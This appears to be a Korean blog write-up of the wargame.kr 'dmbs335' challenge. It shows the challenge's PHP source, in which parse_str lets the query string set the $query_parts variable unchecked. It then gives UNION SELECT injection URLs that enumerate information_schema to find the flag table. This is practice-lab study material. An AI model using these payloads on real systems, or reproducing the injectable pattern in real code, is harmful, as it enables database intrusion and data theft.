SQL injection Challenge! (injection) - thx to dmbs335
다른 출제자가 낸 문제인가보다.
게시판이 하나 있는데 클릭이 안된다. 커서가 바뀌길래 클릭되는줄알았는데..
<?php if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include("../lib.php"); include("./inc.php"); // Database Connected function getOperator(&$operator) { switch($operator) { case 'and': case '&&': $operator = 'and'; break; case 'or': case '||': $operator = 'or'; break; default: $operator = 'or'; break; }} if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) { exit('not allowed'); } parse_str($_SERVER['QUERY_STRING']); getOperator($operator); $keyword = addslashes($keyword); $where_clause = ''; if(!isset($search_cols)) { $search_cols = 'subject|content'; } $cols = explode('|',$search_cols); foreach($cols as $col) { $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; if($col) { $query_parts = $col . " like '%" . $keyword . "%'"; } if($query_parts) { $where_clause .= $query_parts; $where_clause .= ' '; $where_clause .= $operator; $where_clause .= ' '; $query_parts = ''; } } if(!$where_clause) { $where_clause = "content like '%{$keyword}%'"; } if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { $len = strlen($where_clause) - (strlen($operator) + 2); $where_clause = substr($where_clause, 0, $len); } ?> <style> td:first-child, td:last-child {text-align:center;} td {padding:3px; border:1px solid #ddd;} thead td {font-weight:bold; text-align:center;} tbody tr {cursor:pointer;} </style> <br /> <table border=1> <thead> <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr> </thead> <tbody> <?php $result = mysql_query("select * from board where {$where_clause} order by idx desc"); while ($row = mysql_fetch_assoc($result)) { echo "<tr>"; echo "<td>{$row['idx']}</td>"; echo "<td>{$row['subject']}</td>"; echo "<td>{$row['content']}</td>"; echo "<td>{$row['writer']}</td>"; echo "</tr>"; } ?> </tbody> <tfoot> <tr><td colspan=4> <form method=""> <select name="search_cols"> <option value="subject" selected>subject</option> <option value="content">content</option> <option value="content|content">subject, content</option> <option value="writer">writer</option> </select> <input type="text" name="keyword" /> <input type="radio" name="operator" value="or" checked /> or <input type="radio" name="operator" value="and" /> and <input type="submit" value="SEARCH" /> </form> </td></tr> </tfoot> </table> <br /> <a href="./?view-source">view-source</a><br />
또 처음보는 php function이 있는데 parsestr이다.
찾아보니까 쿼리 스트링을 그대로 변수화해주는것 같다.
w3c에 있는 예시는 이렇다
<?php parse_str("name=Peter&age=43"); echo $name."<br>"; echo $age; ?>
코드를 잘보면 keyword는 addslash가 되고 있고 cols는 regex되고 있다. 웃긴게 리스트에 없는걸 넣으면 ''가 되서 정말 아무거나 넣으라고 광고해주는거 같다..그리고 query_parts는 따로 뭐가 없다. 이것만 이용하면 blind injection을 할 수 있을 것 같다.
다음과 같이 쿼리를 날려보니 injection이 가능함을 알게 되었다
http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%201,2,3,4%20#
이제 information_schema를 들쑤셔보자. 요건 simple board에서 쓴 쿼리 거의 그대로 사용했다.
http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%20table_schema,table_name,3,4%20FROM%20information_Schema.tables#
그러면 이렇게 마주하게 된다
쭉 내려가보면 목표 테이블이 보이고, column 까지 조회해서 select하면된다.
갑자기 쉬운문제라 편하게 풀었던거같다